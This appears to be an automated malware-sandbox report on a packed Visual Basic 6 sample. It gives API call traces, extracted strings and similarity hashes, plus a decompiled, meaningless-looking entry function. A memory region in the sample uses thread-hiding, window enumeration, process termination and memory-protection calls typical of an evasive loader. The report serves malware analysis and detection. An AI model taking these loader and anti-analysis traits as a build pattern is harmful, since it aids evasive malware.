__vbaStrCmp.MSVBVM60(0040D6CC,00000000,?,00000002,0040D6CC,00000000,0040D6C4,0040D6BC,?,?,00401276), ref: 0040F8BA
__vbaFreeStr.MSVBVM60(0040D6CC,00000000,?,00000002,0040D6CC,00000000,0040D6C4,0040D6BC,?,?,00401276), ref: 0040F8D1
__vbaNew2.MSVBVM60(0040D6F0,0041331C,0040D6CC,00000000,?,00000002,0040D6CC,00000000,0040D6C4,0040D6BC,?,?,00401276), ref: 0040F8FF
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D6E0,0000001C), ref: 0040F961
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D700,00000050), ref: 0040F9B3
__vbaFreeObj.MSVBVM60(00000000,?,0040D700,00000050), ref: 0040F9CA
__vbaNew2.MSVBVM60(0040DBCC,00413010,0040D6CC,00000000,?,00000002,0040D6CC,00000000,0040D6C4,0040D6BC,?,?,00401276), ref: 0040F9E9
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FA22
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D744,00000068), ref: 0040FA69
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 0040FA90
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FAC9
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D770,000000A8), ref: 0040FB16
__vbaStrCopy.MSVBVM60(00000000,?,0040D770,000000A8), ref: 0040FB3C
__vbaStrCopy.MSVBVM60(00000000,?,0040D770,000000A8), ref: 0040FB49
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,000E5877,3792AF00,00005AF4,?,?), ref: 0040FBAD
__vbaFreeObjList.MSVBVM60(00000002,?,?,00000000,0040D6C4,0040D6BC,?,?,00401276), ref: 0040FBBF
__vbaNew2.MSVBVM60(0040DBCC,00413010,?,?,?,00000000,0040D6C4,0040D6BC,?,?,00401276), ref: 0040FBE1
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FC1A
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D780,000000D8), ref: 0040FC67
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 0040FC8E
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FCC7
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D790,000000A0), ref: 0040FD14
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 0040FD3B
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FD74
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D7A0,000000F0), ref: 0040FDC1
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 0040FDE8
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FE21
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D7B0,00000158), ref: 0040FE6B
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 0040FE92
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FECB
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D6A8,00000128), ref: 0040FF18
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 0040FF3F
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FF78
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D7C0,00000060), ref: 0040FFBF
__vbaStrMove.MSVBVM60(00000000,?,0040D7C0,00000060), ref: 00410001
__vbaFreeStr.MSVBVM60 ref: 00410075
__vbaFreeObjList.MSVBVM60(00000006,?,?,?,?,?,?), ref: 00410094
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 004100B6
__vbaObjSet.MSVBVM60(?,00000000), ref: 004100EF
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D7A0,00000090), ref: 0041013C
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 00410163
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041019C
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D7D0,00000070), ref: 004101E3
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 0041020A
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410243
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D7E0,00000110), ref: 0041028D
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 004102B4
__vbaObjSet.MSVBVM60(?,00000000), ref: 004102ED
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D7F0,00000138), ref: 0041033A
__vbaStrCopy.MSVBVM60(00000000,?,0040D7F0,00000138), ref: 00410356
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D16C,000006F8), ref: 004103D7
__vbaFreeStrList.MSVBVM60(00000002,00000000,?), ref: 004103FE
__vbaFreeObjList.MSVBVM60(00000004,?,?,?,?), ref: 00410418
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 0041043A
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410473
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D7A0,00000100), ref: 004104C0
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 004104E7
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410520
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D81C,00000060), ref: 00410567
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D16C,000006FC), ref: 004105C9
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 004105E7
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 00410609
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410642
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D6A8,00000178), ref: 0041068C
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 004106AB
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 004106C6
__vbaObjSet.MSVBVM60(?,00000000), ref: 004106FF
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D7C0,00000060), ref: 00410746
__vbaNew2.MSVBVM60(0040DBCC,00413010), ref: 0041076D
__vbaObjSet.MSVBVM60(?,00000000), ref: 004107A6
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D7A0,00000100), ref: 004107F3
__vbaStrCopy.MSVBVM60(00000000,?,0040D7A0,00000100), ref: 00410825
__vbaStrVarMove.MSVBVM60(?,?,?,?,?,0053D376), ref: 00410862
__vbaStrMove.MSVBVM60(?,?,?,?,?,0053D376), ref: 0041086C
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D16C,00000700), ref: 004108A9
__vbaFreeStrList.MSVBVM60(00000002,00000000,?), ref: 004108C7
__vbaFreeObjList.MSVBVM60(00000004,?,?,?,?), ref: 004108E1
__vbaFreeVar.MSVBVM60 ref: 004108EC
__vbaSetSystemError.MSVBVM60 ref: 004108FD
__vbaOnError.MSVBVM60(000000FF), ref: 0041090B
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D13C,000002B4), ref: 00410949
__vbaStrToAnsi.MSVBVM60(00000000,c:\a\a.sys,00000000,00000140,000000C8,00000010), ref: 0041097B
__vbaSetSystemError.MSVBVM60(00000001,00000000,00000000,c:\a\a.sys,00000000,00000140,000000C8,00000010), ref: 0041098E
__vbaFreeStr.MSVBVM60(00000001,00000000,00000000,c:\a\a.sys,00000000,00000140,000000C8,00000010), ref: 0041099F
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D13C,00000058), ref: 004109DE
__vbaSetSystemError.MSVBVM60(?), ref: 004109FD
__vbaSetSystemError.MSVBVM60(?), ref: 00410A0E
__vbaSetSystemError.MSVBVM60(00000002,?,?), ref: 00410A24
__vbaSetSystemError.MSVBVM60(00000002,00000002,?,?), ref: 00410A3D
__vbaSetSystemError.MSVBVM60(00000002,00000002,?,?), ref: 00410A4E
__vbaNew2.MSVBVM60(0040D6F0,0041331C,00000002,00000002,?,?), ref: 00410A6D
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,0040D6E0,0000001C), ref: 00410ACF
__vbaChkstk.MSVBVM60(?), ref: 00410B07
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D700,00000054), ref: 00410B4D
__vbaObjSet.MSVBVM60(?,?), ref: 00410B78
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D13C,00000154), ref: 00410BB0
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00410BCE
__vbaVarForInit.MSVBVM60(00000000,?,?,00000002,00000003,00000002), ref: 00410C3D
__vbaVarDup.MSVBVM60 ref: 00410CBE
#595.MSVBVM60(?,00000000,0000000A,0000000A,0000000A), ref: 00410CDE
__vbaFreeVarList.MSVBVM60(00000004,?,0000000A,0000000A,0000000A,?,00000000,0000000A,0000000A,0000000A), ref: 00410CFE
__vbaSetSystemError.MSVBVM60 ref: 00410D12
__vbaVarForNext.MSVBVM60(00000000,?,?), ref: 00410D30

Strings

There was an error while loading the bitmap, xrefs: 00410CA1
SLDEHUNDS, xrefs: 0040FB85
Rostrulate6, xrefs: 0041081D
Unoxidable6, xrefs: 0041034E
c:\a\a.sys, xrefs: 00410972
Anraab, xrefs: 0040FB41
Uroseptic7, xrefs: 0040FB34

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$New2$Free$List$Error$System$ChkstkMove$Copy$#514#595AnsiCallInitLateNext
String ID: Anraab$Rostrulate6$SLDEHUNDS$There was an error while loading the bitmap$Unoxidable6$Uroseptic7$c:\a\a.sys
API String ID: 3916570694-3805323182
Opcode ID: d3dafa07ba69aea61cf6b8d1a8ff7e9981c9a10cead5befdb69188768ed8eed4
Instruction ID: 52b7ff4a223553f3abfb64aa124340166d58c71449eec01070c24c99ab494755
Opcode Fuzzy Hash: d3dafa07ba69aea61cf6b8d1a8ff7e9981c9a10cead5befdb69188768ed8eed4
Instruction Fuzzy Hash: 74E2F771940218AFDB21DF90CC49BDDBBB4BB08305F1040EAE549BB2A1DB795AC9DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00401428, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(signed int __eax, signed int __ebx, signed int __ecx, intOrPtr* __edx, signed int __edi) {
				intOrPtr* _t27;
				signed char _t29;
				signed char _t31;
				signed int _t32;
				signed int _t37;
				void* _t38;
				void* _t39;
				void* _t40;
				signed int _t45;
				intOrPtr _t46;

				_t33 = __edx;
				_t32 = __ecx;
				_push("VB5!6&*"); // executed
				L00401420(); // executed
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax ^ __eax;
				 *__eax =  *__eax + __eax;
				_t27 = __eax + 1;
				 *_t27 =  *_t27 + _t27;
				 *_t27 =  *_t27 + _t27;
				 *_t27 =  *_t27 + _t27;
				 *((intOrPtr*)(__ecx + 0x20)) =  *((intOrPtr*)(__ecx + 0x20)) + __edx;
				_t31 = __ebx & __ecx;
				if (_t31 < 0) goto 0x4013de;
				 *_t27 =  *_t27 + _t27;
				 *_t27 =  *_t27 + _t27;
				 *_t27 =  *_t27 + _t27;
				 *_t27 =  *_t27 + _t27;
				 *_t27 =  *_t27 + _t27;
				 *_t27 =  *_t27 + _t27;
				 *((intOrPtr*)(_t27 + __edi * 4)) =  *((intOrPtr*)(_t27 + __edi * 4)) + _t27;
				_t40 = _t39 + 1;
				_t28 = 0xa4a0000;
				 *0xa4a0000 =  *0xa4a0000 + 0xa4a0000;
				 *__edi =  *__edi + 0xa4a0000;
				 *((intOrPtr*)(_t38 + 0x6b)) =  *((intOrPtr*)(_t38 + 0x6b)) + 0xa4a0000;
				_t37 =  *(_t38 + 0x70) * 0x72;
				_t45 = _t37;
				if(_t45 != 0) {
					L11:
					 *_t28 =  *_t28 + _t28;
					 *_t28 =  *_t28 + _t28;
					 *_t28 =  *_t28 + _t28;
					goto L12;
				} else {
					if(_t45 < 0) {
						L10:
						 *_t28 =  *_t28 + _t28;
						 *_t28 =  *_t28 + _t28;
						 *_t28 =  *_t28 + _t28;
						 *_t28 =  *_t28 + _t28;
						 *_t32 =  *_t32 + _t28;
						 *_t28 =  *_t28 + _t28;
						 *_t32 =  *_t32 + _t28;
						goto L11;
					} else {
						 *0x4d000901 =  *0x4d000901 + __ecx;
						_t46 =  *0x4d000901;
						asm("popad");
						if(_t46 < 0) {
							L12:
							 *((intOrPtr*)(_t40 - 0x5555ff5c)) =  *((intOrPtr*)(_t40 - 0x5555ff5c)) + _t28;
						} else {
							if(_t46 < 0) {
								_t29 = 0x0a4a0000 ^  *0xa4a0000;
								asm("sbb [ecx], eax");
								 *__edx =  *__edx + _t29;
								_t28 = _t29 &  *0xa4a0000;
								 *0xa4a0000 =  *0xa4a0000 | 0x0a4a0000;
								 *((intOrPtr*)(_t40 + _t37 * 2)) =  *((intOrPtr*)(_t40 + _t37 * 2)) + __ecx;
								_t33 = __edx + __edx;
								 *0xa4a0000 =  *0xa4a0000 | 0x0a4a0000;
								 *0xa4a0000 =  *0xa4a0000 + _t28;
								 *__ecx =  *__ecx + _t28;
								 *_t33 =  *_t33 + _t28;
								 *0xa4a0000 =  *0xa4a0000 + _t33;
								asm("adc [eax], al");
								 *__ecx =  *__ecx + _t28;
								 *0xa4a0000 =  *0xa4a0000 + __ecx;
								 *0x0A4A0005 =  *((intOrPtr*)(0xa4a0005)) + __ecx;
								 *0xa4a0000 =  *0xa4a0000 + _t28;
								 *[es:eax] =  *[es:eax] + _t28;
								 *0xa4a0000 =  *0xa4a0000 + _t33;
								asm("adc [eax], al");
								 *__ecx =  *__ecx + _t28;
								 *0xa4a0000 =  *0xa4a0000 + _t28;
								 *0x0A4A0004 =  *((intOrPtr*)(0xa4a0004)) + __ecx;
								 *0xa4a0000 =  *0xa4a0000 + _t28;
								es =  *0x280000;
								 *0xa4a0000 =  *0xa4a0000 + _t28;
								asm("adc [eax], al");
								 *0xa4a0000 =  *0xa4a0000 + _t28;
								 *0xa4a0000 =  *0xa4a0000 & _t28;
								 *0xa4a0000 =  *0xa4a0000 + _t28;
								 *0xa4a0000 =  *0xa4a0000 + 0xa4a0000;
								 *0xa4a0000 =  *0xa4a0000 | _t28;
								 *0xa4a0000 =  *0xa4a0000 + _t28;
								 *0xa4a0000 =  *0xa4a0000 + _t28;
								 *__ecx =  *__ecx + _t28;
								 *0xa4a0000 =  *0xa4a0000 + _t28;
								goto L10;
							}
						}
					}
				}
				 *((intOrPtr*)(_t33 - 0x53ff5556)) =  *((intOrPtr*)(_t33 - 0x53ff5556)) + _t32;
				asm("lodsb");
				asm("lodsb");
				 *((intOrPtr*)(_t32 - 0x49ff4e4f)) =  *((intOrPtr*)(_t32 - 0x49ff4e4f)) + _t33;
				 *((intOrPtr*)(_t37 - 0x3cff4142)) =  *((intOrPtr*)(_t37 - 0x3cff4142)) + _t31;
				return _t28;
			}

0x00401428
0x00401428
0x00401428
0x0040142d
0x00401432
0x00401434
0x00401436
0x00401438
0x0040143a
0x0040143c
0x0040143d
0x0040143f
0x00401441
0x00401443
0x00401445
0x00401447
0x004014c4
0x004014c6
0x004014c8
0x004014ca
0x004014cc
0x004014ce
0x004014d0
0x004014d1
0x004014d2
0x004014d7
0x004014d9
0x004014db
0x004014de
0x004014de
0x004014df
0x00401551
0x00401551
0x00401553
0x00401555
0x00000000
0x004014e1
0x004014e1
0x00401544
0x00401544
0x00401546
0x00401548
0x0040154a
0x0040154c
0x0040154e
0x00401550
0x00000000
0x004014e3
0x004014e3
0x004014e3
0x004014e9
0x004014ea
0x00401557
0x00401557
0x004014ec
0x004014ec
0x004014f0
0x004014f2
0x004014f4
0x004014f7
0x004014fb
0x004014fd
0x00401501
0x00401503
0x00401505
0x00401507
0x00401509
0x0040150b
0x0040150d
0x0040150f
0x00401511
0x00401513
0x00401516
0x00401518
0x0040151b
0x0040151d
0x0040151f
0x00401521
0x00401523
0x00401526
0x00401528
0x0040152e
0x00401530
0x00401532
0x00401534
0x00401536
0x00401538
0x0040153a
0x0040153c
0x0040153e
0x00401540
0x00401542
0x00000000
0x00401542
0x004014ec
0x004014ea
0x004014e1
0x0040155b
0x00401561
0x00401562
0x00401563
0x0040156b
0x00401571

APIs

#100.MSVBVM60(VB5!6&*), ref: 0040142D

Strings

VB5!6&*, xrefs: 00401428

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: #100
String ID: VB5!6&*
API String ID: 1341478452-3593831657
Opcode ID: 784ff7aebd9cdcd7323fb05eadabcef3191c3ac8909e834e4d4a2f5a51007b1a
Instruction ID: 04c2d1b9f3e47be074db4ca0b44d4c344d05ec087e5926f9325319412cb90e02
Opcode Fuzzy Hash: 784ff7aebd9cdcd7323fb05eadabcef3191c3ac8909e834e4d4a2f5a51007b1a
Instruction Fuzzy Hash: F7314C6544E3C15FC3039770592A281BFB21D6721875E89EBC0C6DF0B3D29E884AC7A7

Uniqueness

Uniqueness Score: -1.00%

Function 022A06D6, Relevance: 3.3, APIs: 2, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5631512c15af5025b0e840c5776a0dd202b55e83ca24105f8fb96bba1eb3e9
Instruction ID: 5be8ec417632aecaa7b7715bf4ed506313f51e5e21f9d7a0e6ea5ca124d46a07
Opcode Fuzzy Hash: 0e5631512c15af5025b0e840c5776a0dd202b55e83ca24105f8fb96bba1eb3e9
Instruction Fuzzy Hash: 24718B20AB13479FEF3029A48CB47DD23575F433A8F98021ADC85A79D9C7ADC489C652

Uniqueness

Uniqueness Score: -1.00%

Function 022A0804, Relevance: 3.2, APIs: 2, Instructions: 191serviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32(?,00000000,00000000,00000000,00000004), ref: 022A09A3
TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 022A2575

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: CloseHandleProcessServiceTerminate
String ID:
API String ID: 3808843656-0
Opcode ID: 0fda0543d2ed4a08df1742efa0def6ec3be0e1b329f664f132f4999b33e2b000
Instruction ID: e2d1a02fd7b6246ab6a27030f9d9b579f6987bb46289641c26f6a67691946903
Opcode Fuzzy Hash: 0fda0543d2ed4a08df1742efa0def6ec3be0e1b329f664f132f4999b33e2b000
Instruction Fuzzy Hash: AF515B125F02554FDF2548647C7ABE926234F52B25FA40B1ECC88A7CE6CB5B81C8C593

Uniqueness

Uniqueness Score: -1.00%

Function 022A09A9, Relevance: 3.1, APIs: 2, Instructions: 94serviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32(?,00000000,00000000,00000000,00000004), ref: 022A09A3
TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 022A2575

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: CloseHandleProcessServiceTerminate
String ID:
API String ID: 3808843656-0
Opcode ID: 069bb238e86920bf70b344d5a0274ffc86fa95b7b90e9d0659079a979cf3f19d
Instruction ID: 963ad7f2b6a352060c58b971c906c4163f8485397144e41c2955eb5121f5ce42
Opcode Fuzzy Hash: 069bb238e86920bf70b344d5a0274ffc86fa95b7b90e9d0659079a979cf3f19d
Instruction Fuzzy Hash: 9E319C30A3438B9BEF30AEF48CA47E93752AF52724F548248C955968C9CB799186C712

Uniqueness

Uniqueness Score: -1.00%

Function 022A0A23, Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 022A2575

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 65d84e0ac37f2914ce75d3081f5cba05369b99f36dd375cd6175ee4440548f4d
Instruction ID: 05d5e1429a7fd68acf185dea438d9344cfaf20f472f8d6d86efa23513fbb7b18
Opcode Fuzzy Hash: 65d84e0ac37f2914ce75d3081f5cba05369b99f36dd375cd6175ee4440548f4d
Instruction Fuzzy Hash: 20210B170E41714FC5568938382B7E92B225E52F23F645F5EC8889BC77CD1781D989E3

Uniqueness

Uniqueness Score: -1.00%

Function 022A3F2B, Relevance: 1.6, APIs: 1, Instructions: 89libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,8802EDAC,?,022A468D,022A0381,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 022A4019

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b6e500d8be1affca9eace558c74bf9f3f3e01b6ccb64c704411875d1c593e20c
Instruction ID: 1f922d7c56edb0da2c2747ffdd68b80f68cf0a13b21eedf51f1059b7c9a60b58
Opcode Fuzzy Hash: b6e500d8be1affca9eace558c74bf9f3f3e01b6ccb64c704411875d1c593e20c
Instruction Fuzzy Hash: A311A6070E01305B45496964792BBEA26229E52F23FA01F2EDC98ABD37CD57C1D98DE3

Uniqueness

Uniqueness Score: -1.00%

Function 022A03FD, Relevance: 1.6, APIs: 1, Instructions: 78nativethreadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(022A04B6,?,00000000,?,?,?,?,?,?,?,022A0305), ref: 022A049B
NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 022A0536

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: EnumInformationThreadWindows
String ID:
API String ID: 1954852945-0
Opcode ID: d9cb668b4f13dcf0d3833c8442ce2d88501c1a92c7e3f20a7b18ca0d93167b30
Instruction ID: ffd86496ed9cd949bf53aaba92951214b9a175799a25f28beb389d497e892f99
Opcode Fuzzy Hash: d9cb668b4f13dcf0d3833c8442ce2d88501c1a92c7e3f20a7b18ca0d93167b30
Instruction Fuzzy Hash: A61140170D01301B45899928785BBE926269992F23F601F1ED459DBC73CC1381D889E3

Uniqueness

Uniqueness Score: -1.00%

Function 022A27E5, Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(022A053F,80000000,00000001,00000000,00000003,00000000,00000000,022A27BC,022A280E,022A053F), ref: 022A27FE

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c4e7cc71f5776386d878846506e4e7a7eef12fb0063ab84229ae98efc42bf0a6
Instruction ID: 953f7fafe3a72dc32136efb980353e5b55d81a658162f040922283d26132ac30
Opcode Fuzzy Hash: c4e7cc71f5776386d878846506e4e7a7eef12fb0063ab84229ae98efc42bf0a6
Instruction Fuzzy Hash: 2AC04871BA0341B6FA349A208D56F8A62159B90F00E608408770A3E1C085FAAA10C628

Uniqueness

Uniqueness Score: -1.00%

Function 022A256F, Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 022A2575

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: aecf66dd6198122d4e9adfa0709ac85ed8122ce87c6916bf1efd8e00f1959138
Instruction ID: 9e87e462595a512a518c00a17d47155f09dbb2d9b480415b0af4131e7c6f82a4
Opcode Fuzzy Hash: aecf66dd6198122d4e9adfa0709ac85ed8122ce87c6916bf1efd8e00f1959138
Instruction Fuzzy Hash: 84A0113028008A22CAA00A203C0AB8823020B82238F300300203AA80E0C8A0828C8202

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 022A49C2, Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: 7bb1dd1271e19b809e7844034626801def22b5b781ae1675d4a709db3e3a2c73
Instruction ID: 5ac5a2206a536012e82c71ec0a8e96146160269a97fe245bf900a80f327f2758
Opcode Fuzzy Hash: 7bb1dd1271e19b809e7844034626801def22b5b781ae1675d4a709db3e3a2c73
Instruction Fuzzy Hash: EC91FA74A243438FDF24EFA8C4E4759BB91AF52320F44C6A9D9958F6DAD3B0C442C722

Uniqueness

Uniqueness Score: -1.00%

Function 022A1375, Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4ea72df061fc9b9f9149a501dfb24570bd666aa97510e854cd7df87caa35fdf
Instruction ID: fc0b034b4c53646ac147f6e208d5da79a7607a6249be34333760899bce415e5a
Opcode Fuzzy Hash: d4ea72df061fc9b9f9149a501dfb24570bd666aa97510e854cd7df87caa35fdf
Instruction Fuzzy Hash: 9671F075750707AFE304DF68CDA1BD2B3A5FF09360F588229E89983681D774A8A5CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00405257, Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c10095a1a48cf0511edf07bc460e7e4ccbe4b4372ca97758ded1268baf2933d
Instruction ID: 5a563b9bec50b284e93a67e4f932dd9e1658f8cfeb3a4b5b6f62a1ceb1954ba8
Opcode Fuzzy Hash: 8c10095a1a48cf0511edf07bc460e7e4ccbe4b4372ca97758ded1268baf2933d
Instruction Fuzzy Hash: 4141CD22B297100BC75A547D4880827D1C3DFEF250376A63E682DF3795FE79CD4A1A49

Uniqueness

Uniqueness Score: -1.00%

Function 022A1490, Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52465befb7d3b960a1cd041e5c36aafd253bc95d980e8410e0ee647efb8ad79f
Instruction ID: 394332e04ab7a952dce72b974b582803e184dab12c4d1c5abb8e4507c1693c2e
Opcode Fuzzy Hash: 52465befb7d3b960a1cd041e5c36aafd253bc95d980e8410e0ee647efb8ad79f
Instruction Fuzzy Hash: 975119762D02225FD3458E28FC66BD677A2BF41721F544729DC8893D52CB2398E8CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 004052CF, Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea51c36b90f53a520d5ee6b04e950ea15a0308fdf6fdec45d8b39bae6108a3d0
Instruction ID: 05b219262fec51a57e028efea889777f0eee80f35c8040e8c39a32eaed80d0f3
Opcode Fuzzy Hash: ea51c36b90f53a520d5ee6b04e950ea15a0308fdf6fdec45d8b39bae6108a3d0
Instruction Fuzzy Hash: FE31CB22B29B104BCB5A047D4490827E1C2DFEB210335A63E682DF3394FE798D4A1A4C

Uniqueness

Uniqueness Score: -1.00%

Function 0040533B, Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29373807c6f1086438108dd75721ab32bc702601683f8e2077fcffe43d749c8c
